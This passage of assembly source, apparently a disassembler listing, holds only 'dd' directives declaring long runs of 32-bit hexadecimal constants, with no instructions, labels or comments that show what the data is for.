		dd 0AB788200h, 1337C464h, 0FA673B36h, 0E0C13D80h, 532A8E08h
		dd 0F893E11Ch, 0DA3C2540h, 50EB49h, 6E9D4463h, 30BFEE7Ah
		dd 771403Ch, 46C1D231h,	40AF1412h, 16ECA1ECh, 0F897E82h
		dd 53C0A37Ch, 0CC483B7Bh, 0E0730400h, 9FC52E70h, 3BBF2B9h
		dd 26892F3h, 0ABA014E2h, 1A00E042h, 0FCB00C1Ch,	7173C2h
		dd 8FE2B587h, 49327F65h, 0ECA5EA01h, 2D5D68E3h,	90C4E520h
		dd 437C0010h, 0BAB305D6h, 0FE50AA30h, 32006ED8h, 9731823Ch
		dd 1FD6A6DAh, 0E5C39CA4h, 4CE580DFh, 9B0ABFFh, 0F211C787h
		dd 3BADDC00h, 0B603CC0Dh, 0A7B8A428h, 52DCF8FCh, 5C45033Fh
		dd 3D35096Eh, 0FA9B13A8h, 0D871DB04h, 0FC808CB2h, 11DD976h
		dd 0E414477Dh, 0D058FB4Fh, 80008F17h, 0DC8225A4h, 948CE42h
		dd 0A37C5EAh, 52006EDCh, 0B08F2D90h, 0F3EB00CDh, 44CA1754h
		dd 98B1D688h, 0F5467E80h, 3052B1Dh, 0EDB9401Ah,	23BFDF7Ch
		dd 0B3D16E57h, 4D28703Ch, 8714E500h, 6B833863h,	37DE0062h
		dd 0ABB420Ch, 0E1006511h, 611518BFh, 2DB423h, 83090D91h
		dd 68B3FA7Fh, 0B589CD0Eh, 5799604Ah, 205E10h, 0C62B6253h
		dd 413D8893h, 60216D0Fh, 0BD00FDEEh, 99ABFAE3h,	6F3B00F9h
		dd 811E3AD8h, 680179D1h, 43012709h, 0E820C386h,	0DE1300DAh
		dd 0A207E2FFh, 0FA05A62Ch, 0BC376D47h, 61305EC0h, 0F5FE0Eh
		dd 0C33609C5h, 8AF0CEABh, 7891ED00h, 633B2CD5h,	95F70299h
		dd 0C60CD141h, 0D50A8C0h, 125F3401h, 0C4C0602Eh, 20B9CE80h
		dd 0BA48D431h, 6F225Ch,	0E6CCC590h, 90E16CE0h, 52D30008h
		dd 86842030h, 60002B68h, 0F3F0C078h, 0BDC799h, 0B3CC243Bh
		dd 0A544960Bh, 682A5100h, 0B46BF9E2h, 3B2E0C23h, 47420D72h
		dd 0AE0230A0h, 55DDFF00h, 6933D5B0h, 3E04B071h,	0E0062B4h
		dd 522CB7C7h, 6D000A08h, 0A34FCA13h, 8F33DCh, 0F04CFBE2h
		dd 75435317h, 0EB0A2307h, 2BB76F19h, 681A0770h,	13B00E1h
		dd 0BAACABAAh, 0E6031CBBh, 0C14847C9h, 80BEBF79h, 9B76834Dh
		dd 34911D50h, 0F5DFC0E8h, 0CBFAE50Bh, 41BB3E00h, 0CA8A9682h
		dd 72880314h, 304C2E7Ah, 4AC0C4B2h, 0BE036C48h,	0DEF2E8B8h
		dd 0E0C2BA90h, 195924h,	0BAA86AD4h, 5B72AE43h, 81B03100h
		dd 68743A8Ah, 5D28CEBEh, 0CC65D02Fh, 0C894F09Dh, 80E4654Ch
		dd 786176F9h, 5EBB0051h, 0B7428F1h, 9D2C584Eh, 3900EE2Eh
		dd 0C9206C41h, 9AAA009Fh, 0A06744E2h, 100FD0Eh,	5E12CD36h
		dd 0B8EDEBh, 0B323B15Ah, 577C1EFCh, 26052875h, 0F38E8FAFh
		dd 0A8A9E6C3h, 0C2EBE7h, 0B66BAAAEh, 4FDD3425h,	0F5DA2F18h
		dd 28C69A0h, 21CB1B9Eh,	9CE855B1h, 0CC01AF33h, 0D1C95AEDh
		dd 62FCF251h, 0DA1B002Eh, 26F3883h, 3A020EEBh, 0C1309C58h
		dd 20B38EACh, 0E4A6339Eh, 50400332h, 640C87ABh,	0E5D4A097h
		dd 8C00D15Eh, 585A6CBFh, 9C59DF1Fh, 0FFB80220h,	9C40DD0Ah
		dd 0E00791EBh, 0AD9299BBh, 0C8FF940h, 965D0329h, 0B2E44BC9h
		dd 6EF08B98h, 62858A03h, 0AB2C9BAFh, 387FA9h, 0A16D30CEh
		dd 988B0351h, 42848206h, 7560D761h, 0A344002Dh,	0DD27BD33h
		dd 970F3A35h, 2FD1F2B9h, 789AE024h, 7A6B7106h, 67AF00E1h
		dd 0DBA036FBh, 9CA8E346h, 12095981h, 0CA7329h, 0C3767F51h
		dd 0BCD407FAh, 812E2AE4h, 60B71FDFh, 2C12D382h,	5CC0F65Ah
		dd 30A8BAh, 218DB0BFh, 3B332FC7h, 7F23C402h, 580A354Ch
		dd 0D7433B4h, 0E5E23FF8h, 1F0B8058h, 0D3C4C9h, 81D59B96h
		dd 189300A5h, 7B300C39h, 260EB2F4h, 417CD9A8h, 0D8AC4C7Dh
		dd 0F9F8F882h, 14F8C963h, 3B569C00h, 276659C8h,	0BC81B048h
		dd 753D01FCh, 807A5B6Dh, 4B93C170h, 0E2BA65D2h,	80A41DC5h
		dd 64DC09Eh, 0A184E446h, 0A50D9706h, 2869AD4Ah,	445C0C8Ch
		dd 0C30011CBh, 24205C3Ch, 0D233C9h, 98F803CEh, 8D612E0Dh
		dd 0CD01C54h, 27A2F91Ch, 95B14281h, 0EC717F90h,	0BA79FBF0h
		dd 108E58E0h, 50DA3303h, 19AE42F4h, 0CCE7DB07h,	6150167Bh
		dd 3F9DBDD4h, 0D300B367h, 336EFC17h, 75095D88h,	686B5983h
		dd 0C3F30Ch, 35945722h,	8880C2E5h, 9EDAFD02h, 0D0A126BDh
		dd 0C495A100h, 1CF5F8h,	0CB5504CDh, 66EDC0B7h, 0B1242C00h
		dd 0C4B6F8DDh, 0AC6C01A0h, 7B678018h, 52187ABEh, 1249A1E1h
		dd 877648h, 599D0628h, 78503808h, 0F8008D94h, 0D562EC47h
		dd 0BF3B2Fh, 0BC320976h, 55242B6Bh, 7B1BDB00h, 8F20E45Eh
		dd 5B9600D6h, 66EBA234h, 0E892B5A5h, 7CB2C500h,	0BD277113h
		dd 0ECAD58D7h, 442DBF09h, 1D724800h, 0CD002278h, 95D605E0h
		dd 0F895C94h, 7F2D48C4h, 0A72B123h, 84DBF3C0h, 23909B12h
		dd 0A122F080h, 788F006Ch, 33191E62h, 79000496h,	0EAF291BCh
		dd 7B23F9D3h, 627156h, 61807DDBh, 42C419A1h, 0D08FF607h
		dd 5EF0B09Ch, 0C08EE866h, 9E969BC0h, 7600BDDBh,	822A3EFh
		dd 9057059Fh, 32CA00D6h, 2B858250h, 7C90A77Ah, 0F3CF9400h
		dd 3D046583h, 0C2660EE8h, 22200D14h, 35A3297Ch,	1B02A198h
		dd 0CC370783h, 4C2C7830h, 54C5CCCBh, 0B228C008h, 7FF280F3h
		dd 0B8072C71h, 71B5AECh, 0EEE87A70h, 8E2700E2h,	13AB403Bh
		dd 0EA0E50B5h, 0E6908DD5h, 80989EC0h, 0F57798h,	866528E8h
		dd 4C9F1106h, 89005990h, 0A874F685h, 4F39744h, 455854CFh
		dd 237CD038h, 0AC384860h, 1329832Eh, 0D8B8CDAAh, 0A37295h
		dd 0F282C796h, 0AEA676D2h, 0A2839700h, 646B6575h, 0D3B2034Eh
		dd 29F063B8h, 0C0470698h, 94804103h, 0D8EBCEB1h, 4D0524h
		dd 6C4E1072h, 161C1E6Ah, 9E43A200h, 2C412B01h, 0A73B0003h
		dd 8F83CF70h, 0BA1D4BC1h
		dd 390F94h, 3AB94C11h, 0BCA4556h, 0F89E39D0h, 8E0638A0h
		dd 0D50068D9h, 3D7C1C18h, 2413A2h, 0E20FA0F0h, 0AEB96A12h
		dd 8B78CF00h, 0F6AF0BB5h, 0DCC40037h, 39A33DA9h, 54596553h
		dd 5F29149Ch, 5BF105D8h, 47C03235h, 35A75F5h, 5CB0B6D8h
		dd 1CB387C2h, 3B0440AFh, 0F3009B16h, 2ACF5FBDh,	578D67h
		dd 0C3F705A8h, 704B02A2h, 8CCA1707h, 0F9B00745h, 803656h
		dd 387D165Dh, 0EFE4DCC7h, 2815E900h, 533DA5ECh,	2DB0318h
		dd 0D11A0368h, 8C467CC8h, 8214A026h, 21930038h,	0DE31B504h
		dd 9B05013Ah, 3226F418h, 0FE01E4FBh, 0C7468900h, 0A56EDDCEh
		dd 3578004Dh, 9A902EABh, 17F4D896h, 0F700B3E0h,	9D020D99h
		dd 0A6BF10h, 7CE6CF42h,	0B7CE8082h, 332D7B00h, 7A22DDF9h
		dd 0FA4E0048h, 6A5629B3h, 403FFA6h, 0EDC72CF0h,	50669880h
		dd 0CB3B03A4h, 517DEAABh, 0D1473690h, 11D49F30h, 0F6AD34h
		dd 0B1229C66h, 5E8D4BD7h, 6B4E5501h, 26CB420Ch,	24BAADF0h
		dd 809C8916h, 82EC1EBh,	0FB0B559Bh, 246EFA96h, 0E0CD14h
		dd 0BA749Ah, 4CCF4EDFh,	0F3B09018h, 0EF4B0300h,	2884FF76h
		dd 3C9E3A16h, 0BF2AA283h, 0D08B012Eh, 93CEE080h, 845D826h
		dd 0E4292B00h, 0BA1E7Fh, 5BAE247Dh, 101B75B6h, 4005FA30h
		dd 0C1B4DDh, 4FBCD877h,	829B4653h, 56E43102h, 0E028F50Eh
		dd 1E114868h, 807D2EADh, 0E12CBFE2h, 0CF3CE0EBh, 0ABF30350h
		dd 0B29373h, 0F027EF6Eh, 0D2FA588Eh, 0BD00257Ch, 5EFD9F2Ah
		dd 42E01Ah, 652DD0FCh, 18236D6Ch, 0A74A2500h, 1F8B5F21h
		dd 0CC9061h, 22EFE6C7h,	0A9B17E58h, 21075A00h, 0B5B01DDBh
		dd 10CCB0BFh, 2584F9A7h, 0F180B9A9h, 5C2C2AF1h,	0C50E2C00h
		dd 73700BC9h, 0C7678C16h, 4A935900h, 2759B9h, 0A0961FDEh
		dd 0B125D56Fh, 0CF3EFA7Eh, 0AEB413DDh, 1E754C01h, 0BECD716h
		dd 994417A6h, 0CD6440E6h, 3CE432A1h, 10F53F00h,	779CA941h
		dd 0FB2500D3h, 0B2CF6C6Eh, 0D409BEF8h, 5C8151h,	43D38780h
		dd 3BC700C4h, 1B9B7A2Eh, 0C100D5F9h, 0E9F5D0ABh, 0EA66BBCDh
		dd 1D07FC1Dh, 0C0FCA4h,	2854A193h, 3E00E5F3h, 73D82D88h
		dd 98812FBBh, 91F8258Ch, 0E3AEF8C0h, 186A3F04h,	88070BAh
		dd 73E24Ah, 0B884FD23h,	2EFEA67Dh, 3792EE00h, 0FC0FC903h
		dd 5FE00E73h, 97616EE9h, 0FF716288h, 0D050DAF2h, 0F400B85Eh
		dd 0EB9220F9h, 2DB40790h, 80774AE6h, 310FF6FAh,	32D56E00h
		dd 0F5404866h, 60FBF4F7h, 3A50B6F9h, 0ED0EF12Ch, 0E0583BE9h
		dd 63EBFF7Fh, 0C0D80089h, 0D2C5F6F4h, 0E7004502h, 0FD532311h
		dd 0E82FCD48h, 8DE101F2h, 66A046D1h, 2EFC34B4h,	0BB117E0Bh
		dd 56C068F3h, 8139007Ah, 21FFE31h, 4E00C142h, 0AA85CFC6h
		dd 2B07A6h, 0ED486353h,	0B10B3114h, 73EB4E00h, 50A825F0h
		dd 58290E9Dh, 0E8A06B0Ch, 7748E48Bh, 6086C701h,	80CD14E1h
		dd 0E281EAC4h, 0E330065h, 0BA3C540Ch, 80A02DADh, 7014ED2Bh
		dd 0F0F919h, 14DEC5F5h,	3CFBFCh, 889DC618h, 0A2A4A8B8h
		dd 89FD8300h, 7EBB8D07h, 62E300A9h, 0BE8114DFh,	48011F70h
		dd 0B166D836h, 0F4C756D5h, 13170A0h, 26EDCDC5h,	0DCC091B9h
		dd 9A0293ADh, 80FAE502h, 4594E047h, 9C644DDEh, 0E40428h
		dd 0D161FB3h, 0FF1DB5C9h, 8F815404h, 14805A4Fh,	2ECD3A0Fh
		dd 808CD695h, 71CA4335h, 0EC60BAB6h, 0AA687040h, 3FB8A3h
		dd 0C2B3BC94h, 0FCF21B65h, 2B3AA01Eh, 60913700h, 0F417B68Ah
		dd 0A4E400DEh, 2D03D4FFh, 113F529Ah, 7A49007Fh,	8B391A5Dh
		dd 4CC33C77h, 210E3F00h, 0CCE51187h, 26B2C100h,	1D28348Ah
		dd 0BF8C130Bh, 405D1E9Eh, 0C217E64Dh, 777A2B8Bh, 21681901h
		dd 847E07C6h, 302042DDh, 3CC70754h, 890A2AC4h, 0FE9B54C0h
		dd 58979F01h, 593F99F8h, 925D034h, 0CC29C34Bh, 4EA124E8h
		dd 3B36280Bh, 267B009Fh, 0B93753h, 2F1B555Ah, 0F02C1982h
		dd 0ECD89B01h, 37A1F7B4h, 99DAA540h, 0CCCF0F17h, 5FE0CA1Bh
		dd 9225A085h, 81B5450Fh, 7B07A030h, 0E97FD577h,	0DBDAE4h
		dd 0FF314BCFh, 0D897A84Ch, 388654Ch, 365E35ABh,	0F0B4D399h
		dd 7B448F90h, 0BCEB07Eh, 4BA92C3Bh, 2AE0809Bh, 6C7E5E41h
		dd 301ED100h, 692B818Ah, 7C57000Bh, 18089AEFh, 1700E197h
		dd 9B786029h, 0BA686Ah,	0DD37AE22h, 0E4BDB9Dh, 40076EF8h
		dd 5C7A3A63h, 5EB80920h, 42FB02F1h, 1A45CD8Bh, 9B9A30E0h
		dd 922F2400h, 3F1D5DEDh, 17763F07h, 57D54F00h, 0BDEB98BFh
		dd 0C4743E0Bh, 0C0790E89h, 2B4430D4h, 0DE8D0F3Ch, 0EE0D7EAh
		dd 0CF33054Dh, 32BDB600h, 0C9F5E642h, 88F80BE2h, 0E482198Dh
		dd 0E98F6E06h, 36601038h, 54E06F00h, 3F7CACA3h,	169B0141h
		dd 1BB34DC0h, 0CDFFF829h, 11AD3000h, 4F381463h,	1C131DC2h
		dd 0D3B486D6h, 3D712984h, 86D5B201h, 97B7F18Eh,	0DB00602Ch
		dd 604EBB5Bh, 3F00C951h, 9D0F5C2Fh, 533E1Ah, 2CD5E0C6h
		dd 84B3AFB1h, 85051D7Dh, 506542C7h, 2934CC40h, 2E410C9Fh
		dd 1D2E015Ch, 4C02538h,	0CC028945h, 0AD5DA13Ch,	4630C8C3h
		dd 0ECDE01E6h, 91935C78h, 0F24461F2h, 0C4006942h, 0AE5D9A1Bh
		dd 3EF18A9h, 0F293F0B0h, 0FF5C3CC8h, 20F1B4h, 0AFBF6A08h
		dd 430260E5h, 33D52B3Ch, 0C00A40D1h, 0A7CD007Dh, 0F2F035B8h
		dd 6B75198Bh, 0AC4738DCh, 0EA838AC3h, 4218C0C0h, 0F6743C12h
		dd 73B8DE03h, 6ED04D82h, 0F3020B71h, 7DEECE0Eh,	9D9C5E98h
		dd 0C65E98F0h, 9E507C66h, 8600E80Ch, 0A59C58FEh, 3EE26216h
		dd 6400F676h, 140B87E1h, 56006D34h, 98EC1FA1h, 4BA291CFh
		dd 0B9B0CCC6h, 1BFD400h, 0FC7BB634h, 990D0094h,	6D5A039Bh
		dd 7100F10Eh, 4E4F1D15h, 3F3A012Fh, 0F8809635h,	31681B30h
		dd 9A0E6540h, 205FEF07h, 0FF924C9Bh, 0BC670098h, 8003D615h
		dd 0C2008BA1h, 5C4D0941h, 139651A2h, 0CEACADh, 4A4CD6A9h
		dd 0DB00DED7h, 31BF7C8h, 9E83F47h, 7334FDEFh, 0B6400480h
		dd 220F01A7h, 49DBECh, 0C2C9BDB4h, 4A4F00F0h, 36CF732Dh
		dd 0B9EAF539h, 6B2C4274h, 0FD82F6FBh, 0A0C51191h, 9416C9F8h
		dd 6C1B3F8Bh, 0C1441D72h, 0FAB08CBFh, 8E000F20h, 5BDCF9Dh
		dd 780D41h, 0B891C55Bh,	9274DBFDh, 0EE83F406h, 9760A9CFh
		dd 68684C2Ch, 9413028Ch, 0B8741BA4h, 2B020116h,	0FDB65A94h
		dd 0C5A2C4B1h, 9FF2C206h, 7D0BD4Ch, 48BA6418h, 12103C32h
		dd 6B1DBC07h, 0E480C05Fh, 62A6D1F3h, 3D74A0C7h,	0AF83BC74h
		dd 614F95Eh, 0FA57F218h, 62034051h, 313F84D7h, 4F10002Bh
		dd 77D0109Dh, 38EE7566h, 0A81EAF00h, 0E87F3CE7h, 0DF141436h
		dd 0C3FA04F7h, 0C05B4B0h, 0A0D3B10h, 3DF8BC18h,	0AC0503F6h
		dd 0DC8C0462h, 0B326680h, 903B4CCDh, 0BC34C207h, 2802164Fh
		dd 5C8ADE74h, 0AF700ACh, 0AAE22BD8h, 81073800h,	1E27974Bh
		dd 9DF61EFFh, 0C72A40ECh, 2F63AB9Ch, 0DF03B500h, 38625153h
		dd 0C2700072h, 0E5D49333h, 6B005237h, 0CC75D066h, 0A12908h
		dd 0DDB5E3Bh, 6718CA28h, 7E6C2101h, 0C3D7F7D8h,	2EA5D4h
		dd 0B2456486h, 12EFB773h, 80713D38h, 0CCD5DA3Ah, 29F7D3h
		dd 0AEA7A5Fh, 0C5071CB0h, 0E4B80E00h, 209ACA4Bh, 4190002Bh
		dd 5D70C964h, 3B004DCCh, 6710C146h, 5A21AFh, 0D331C068h
		dd 65BA4079h, 364548h, 0B1D59218h, 0F67430Bh, 81D1207Fh
		dd 67B40EA7h, 827BD3A5h, 1305D588h, 7074DEEh, 8BE9EBFEh
		dd 4FD9FD20h, 0C4E00040h
		dd 48648F18h, 706E5BFh,	683BBA34h, 81580010h, 1AB10F9Eh
		dd 9700E120h, 0AFB6C1F5h, 0B0D2C7C3h, 0DB801D1Ch, 91D94041h
		dd 0A7518384h, 313EEF0Bh, 0A0E78FF0h, 0CCDF047Bh, 899E01D7h
		dd 90D55F1Eh, 706C2475h, 0CF133300h, 0D1011850h, 0DF45018Ch
		dd 8792824Bh, 0BF0EDC34h, 84C0B800h, 5A1E2ABh, 0BA04009Bh
		dd 0A9A70D40h, 0DC4C06EAh, 0FF1300E9h, 41C0373Ch, 3D8C0B5Fh
		dd 2604F493h, 0A640911Dh, 844DF48Ah, 0EEB62D01h, 0D637CB87h
		dd 0C0E48ED2h, 0BB3E83CDh, 0AF0900C5h, 8FB8E6F3h, 0B5005F77h
		dd 0C0E94A90h, 747D380Dh, 1BD8018Ch, 0BF607AE5h, 20A88228h
		dd 803D1FEAh, 0CCB546E8h, 3E1D00C6h, 65F367F7h,	0C00C85Fh
		dd 4F1E1282h, 44B247Bh,	355DF6BFh, 6494C134h, 62D1704Eh
		dd 3378B700h, 3EB0480Eh, 86A3393Fh, 4079AA92h, 0AFFE39ACh
		dd 18306E0Fh, 31758188h, 0CB273D5Bh, 2433600Fh,	449BB5E0h
		dd 4700AEB6h, 7B30C8E9h, 5014B2A5h, 4DF8B8h, 79625292h
		dd 7F0F6624h, 0D07D1E0h, 95CCAA9h, 45E0C360h, 0E299006Bh
		dd 0D5C1042Ah, 38609FBDh, 0ADC58D88h, 0BC3554C9h, 0B5690017h
		dd 0B9746092h, 97007D1Ah, 87BAC6ADh, 4347C5h, 0A2729366h
		dd 926ACE90h, 5F5B4A00h, 697C8516h, 0A47324ECh,	1E010074h
		dd 182F9256h, 0B6010F74h, 0E6CA4435h, 5BD0E5C7h, 7BA50466h
		dd 0D06C3126h, 4B9F0D38h, 34E60378h, 0D0BA0100h, 0DC1BB7AEh
		dd 2410060h, 0BC197C31h, 5CA4C258h, 4262B50Ah, 0F5603880h
		dd 4887C191h, 3B3CB760h, 58CC1E00h, 36A81BDh, 0BF0410E4h
		dd 19CB25DCh, 1FD3F081h, 508AE0h, 0AE6A2348h, 0F59D5C28h
		dd 0F9C28700h, 0A5D63B34h, 0CDE095h, 0E5097EE2h, 0D83251E4h
		dd 3D003F79h, 634EDC20h, 1E24EBB6h, 3766C50h, 151D7A9Eh
		dd 0CDA3C000h, 54E49FC8h, 0EDA400BBh, 0BE833CBFh, 0DF184A91h
		dd 0A928322Bh, 0FC8129F5h, 1F9391DCh, 98416074h, 2643724h
		dd 7FD0D0h, 0D9364265h,	0C37E7208h, 0F8D65501h,	0BBD721A7h
		dd 982D9440h, 54CB1F53h, 2E81220h, 0EB85822Ch, 9967C440h
		dd 299E6112h, 21034803h, 0DC40A5C9h, 70478E9h, 33BD0020h
		dd 0B1D7DF53h, 0A62665C6h, 0AC8A08C8h, 9D00E09Eh, 4C9C8492h
		dd 62C000F6h, 7493EBF1h, 0A26081FAh, 7DBED988h,	0E97539E7h
		dd 320FD8CCh, 88C55953h, 0BA8C02E0h, 3FC0F2D1h,	96011269h
		dd 9452CE1Eh, 302051AFh, 34490026h, 27825C44h, 0DC903CB7h
		dd 0A222310Ah, 0C92A061h, 11AF440h, 90DD5EC5h, 0C7250134h
		dd 3EF804A1h, 829180BDh, 3A946E2Bh, 28BC4CE3h, 8F316C00h
		dd 399B861Ch, 8090C476h, 8385D700h, 2264798Bh, 25683AD8h
		dd 4D86E20Fh, 9ED4DAA0h, 0B96755C5h, 0C3E466C0h, 0C8D0C480h
		dd 4C2611C9h, 44918896h, 0C2DC91FBh, 74225Eh, 82DEE381h
		dd 3EFA23h, 8B1C038h, 51F1D142h, 924CA60Eh, 24B038A5h
		dd 9146137Fh, 7F941F2Fh, 36C8717h, 3A49EA8Ah, 0E64EAFE8h
		dd 5BB8CDFCh, 0E844B893h, 2045DC22h, 15E9208Fh,	5C5D803Ch
		dd 0D1193E7Ch, 5DC04C80h, 0C238E0B8h, 7709987Ch, 8F3D0119h
		dd 0C9DBC068h, 0AC79D6Dh, 0EFD69080h, 0B25A8FC0h, 9F8C2000h
		dd 8300D5AEh, 81566705h, 0FC31F019h, 0A2AB1FE7h, 0E086447h
		dd 403F1EA8h, 0D673C640h, 3D1CBE01h, 9E803B18h,	6E7DD0AAh
		dd 0CD910FA9h, 0F2A0365Ah, 4A4BB777h, 0C91AC500h, 0E9F824E7h
		dd 54D8E940h, 0E31D07A9h, 50478299h, 6022D930h,	6A3B2B00h
		dd 0CFB35FE7h, 0CB5C007Fh, 0ED4C9455h, 92750B5Eh, 3CA07648h
		dd 80153E5Ah, 7342F372h, 0FE16DAh, 0DE9C952Eh, 0C41BB934h
		dd 10AF8B00h, 177359C2h, 364E05BAh, 8153C0FBh, 0E43E5C2Ch
		dd 0B100372Bh, 57F4135Ah, 56ECCDh, 194250DAh, 63DC43DEh
		dd 486FDF3Bh, 0E31E0070h, 0F8C6C4D4h, 0FDD98883h, 35421900h
		dd 0EB3F0322h, 8E68120Fh, 5A0040F5h, 65F8DD28h,	0E034FF0Eh
		dd 0E037EF3Dh, 4663DB4Fh, 14D20085h, 0B2D9ECC0h, 6D2E26F6h
		dd 1B00FF65h, 88060CBCh, 0BE540094h, 0E7874DA5h, 70030AA3h
		dd 0ADFB3FD2h, 25CFC1DDh, 2D4E65F0h, 1ED812EEh,	4873Ah
		dd 79E2C189h, 929EB8C4h, 916E7740h, 519F6070h, 171885E9h
		dd 0E818BF2Fh, 4790231h, 1DAED12Bh, 6B8A5040h, 30B55109h
		dd 0C7B02594h, 0D08BB883h, 7E31CE89h, 81C50493h, 93F0F1A4h
		dd 0B8D08C20h, 5F1F4279h, 3F00CCDDh, 12EB02B5h,	0CE657A54h
		dd 20A4E928h, 0CAD08004h, 3D009DD0h, 9E899F74h,	718A9D2h
		dd 0F0B3196h, 0CE77D07Ah, 0D5032034h, 5A9B9759h, 75B801E2h
		dd 0D22D2404h, 28ACEC60h, 858F8401h, 672636FCh,	254D0280h
		dd 0E366656Ch, 0C6C2ECA0h, 5BA00705h, 808A7F0Eh, 0A26773Fh
		dd 948F837Ch, 60D8D916h, 0CD5D31FDh, 8BD4C8E0h,	383192A1h
		dd 0CC3B71E6h, 7700E265h, 1F69DD3Fh, 7A38C842h,	5B1002Fh
		dd 522756CCh, 0C95C9381h, 7BC0B4F4h, 181EEE64h,	583F9EF4h
		dd 0DCB86808h, 10884Dh,	706B9C47h, 4338A5Eh, 1DDBBBF9h
		dd 5B0CC1D5h, 9EEC62ACh, 24E4A815h, 90027B0h, 0C498C585h
		dd 4BC100B9h, 0DEA79D40h, 390065DAh, 2419CD5Fh,	0C02A47BCh
		dd 0EC8C2580h, 55005134h, 4D0D84FFh, 0E844D6h, 9AE2A2Dh
		dd 0E53A6223h, 5C47BF38h, 0C9CC406Dh, 0EEA11100h, 74220731h
		dd 269C90FDh, 49F4622Bh, 2F9007h, 86D7A470h, 5996A23Ch
		dd 64C22C34h, 0B3AEC103h, 0B6CFD91Bh, 193FD6F0h, 0E0A545BAh
		dd 7F6430C5h, 8070B85Dh, 30F99781h, 8D0E0F93h, 53A0809Ah
		dd 768B25CDh, 4E8AC50Fh, 0F02F004Ah, 746AD63h, 9EF5EE60h
		dd 7745104Fh, 3A07B1E4h, 922B49F3h, 0B4A4EB44h,	57A72C90h
		dd 32F64ED8h, 2C6063D4h, 0AF006C7Eh, 0C86EEB8Dh, 4403Fh
		dd 0ADC5A405h, 0BDE36A0Fh, 0FCA37D00h, 429A36B4h, 325F125Bh
		dd 0A160C07Ah, 915D0508h, 9EBC0C4h, 0E6726BA9h,	0A274057Eh
		dd 0C19450B8h, 24440C7Ch, 2D00B040h, 0ACB3FE35h, 4D4CA8h
		dd 343B52D3h, 51B548EAh, 0BB020300h, 1DD10135h,	10F13BBFh
		dd 0E5930E00h, 259693Eh, 44A1DC0Bh, 77E8A118h, 502035D0h
		dd 0D6B067h, 0A84AB9DDh, 929B668Ah, 8F398500h, 0DCB33696h
		dd 0BE1025FEh, 1AA4C801h, 0AC988930h, 444822DEh, 0A50C821h
		dd 282B625Bh, 59003765h, 168C12CCh, 67FE17h, 7F4A5BE4h
		dd 0C4129DF3h, 0C200D54Eh, 409CBE35h, 0BB3E007Bh, 0ECC8B509h
		dd 84EE8EA1h, 0D51E320Eh, 0E7720214h, 0F8E868E1h, 485B7B8Dh
		dd 7139C535h, 0AE187700h, 0AF38958h, 4EFE4300h,	0A5F56F5Ah
		dd 0AA140009h, 0A3049C17h, 0A000E1EEh, 15D8B40h, 0E78E439h
		dd 9848D607h, 204618C7h, 0FCEF9510h, 500707Ah, 75A1DF94h
		dd 0F1B533h, 46902D4Eh,	6927F059h, 6B01E7F8h, 0F49787E3h
		dd 0A0EDF84Fh, 16D6DC40h, 5A1A00ADh, 6F38A59Dh,	0A200E192h
		dd 95262C60h, 3F71F73h,	3DD1C50Dh, 0BDE0498Fh, 0CC00AA6Ah
		dd 81889FA2h, 71D6FA8Dh, 0C641C54h, 9CA9C07Eh, 0C7089120h
		dd 782A49h, 0EB9ED193h,	126219E8h, 8856D8A4h, 21601118h
		dd 0C572EC31h, 4F28C069h, 7BFD7D9Fh, 0A41E8201h, 56756E9Dh
		dd 0FFF46880h, 3EC766A3h, 2A7D3200h, 9ABC6D1Bh,	65C0390h
		dd 7F997768h, 3D87DFE0h, 0C0EE8300h, 851138Ah, 66EB009Ch
		dd 0BF6F861Ah, 4F0ED83Bh, 0E38A489Eh, 0E00DA509h, 6A8154Dh
		dd 0F8E02244h, 6E18109Ch, 0F438926Ch, 3D1E61Bh,	0CB1FAA50h
		dd 0EBF8E468h, 5F1DED80h
		dd 38C75859h, 0C5C091F6h, 4C257E9Ch, 8200D88Dh,	8BE999BCh
		dd 0A50005FDh, 379F8157h, 8E5CF0h, 47A1D152h, 0A97D6845h
		dd 5D760F04h, 0ADC0E9CAh, 50F87Fh, 0D981F756h, 128E9C6Fh
		dd 0B2A5E109h, 70120073h, 902CBF49h, 43443F0Ch,	7502E8BDh
		dd 910F542Dh, 0EBE23478h, 0DDCD3C06h, 28010DEh,	92B57FABh
		dd 7870F1FAh, 626D4B00h, 0D411C364h, 0ABBB0567h, 0E07DE334h
		dd 0F3007AC5h, 45085992h, 0F8251Fh, 0B1337FAAh,	4D365B0Fh
		dd 75AC1E00h, 8F0EFE6Ch, 34A107D0h, 0C0626B52h,	54D9071h
		dd 0D7E3C21Eh, 0D004C24h, 0ECF6EFADh, 1E487DCDh, 0CFC8338Bh
		dd 2C0E7404h, 97E1C300h, 830FCF18h, 527F4Fh, 2FC91A88h
		dd 0AA680FFFh, 0CEA03CA1h, 3569982Ch, 6490C300h, 7903BF95h
		dd 0D0E24857h, 0DE87AE07h, 0D8EB30EEh, 0A790148h, 287EAD00h
		dd 52DA06B4h, 1B704Eh, 0DD1245B9h, 2C3D3A03h, 0D4A0F3F4h
		dd 0EEFA9FF7h, 3FC9F202h, 40CA780Bh, 17B714D0h,	253C21Dh
		dd 0A2087934h, 920ACC40h, 0FD6D8100h, 66208E6Ch, 84180087h
		dd 0AFBC524Ch, 0E01E73B5h, 8984BFB3h, 0B4802886h, 3E149BB7h
		dd 70BF6EFCh, 8255EF00h, 8F1C5693h, 947AF924h, 4CD83300h
		dd 48F61D50h, 0C005E74h, 0F78B431Eh, 0EC009A3Bh, 935E353Ah
		dd 0E1C412h, 19EF5771h,	0FA1597F2h, 0B5907803h,	9817F34Ah
		dd 78A96B4h, 0C57C6B2Bh, 0C19ED013h, 800F748h, 0D4E681C2h
		dd 7122D64Bh, 0CA110039h, 0F8723B97h, 91002FD5h, 4A7CD444h
		dd 0EFD740h, 0E0297DA8h, 418D18ABh, 0E43FCC7Fh,	8A8800BDh
		dd 336A2E9Dh, 26F1003Eh, 4A0CD535h, 0D200D9BFh,	9A1FE78h
		dd 6A3F6h, 0E67CC1ECh, 75C9B474h, 7033C00h, 49CB9BF0h
		dd 0AFB8009Eh, 0C612D372h, 0EF011855h, 0C8905048h, 69CD8810h
		dd 61E6EE41h, 974FAECh,	8186952Ah, 84BE0055h, 2704A0h
		dd 0DD71E5B5h, 7EF9684Dh, 0D000FF4Ah, 0A29351DFh, 0B8435C9Ah
		dd 794B601Ch, 0EE837CDDh, 0C8907AFh, 6FDC88Eh, 0AA3158h
		dd 37818F90h, 1F8499h, 3AA19F12h, 58407F6Fh, 613B88A0h
		dd 7E009C90h, 27108C9Eh, 0FFFF0B4h, 5153DBBAh, 34AFE1E0h
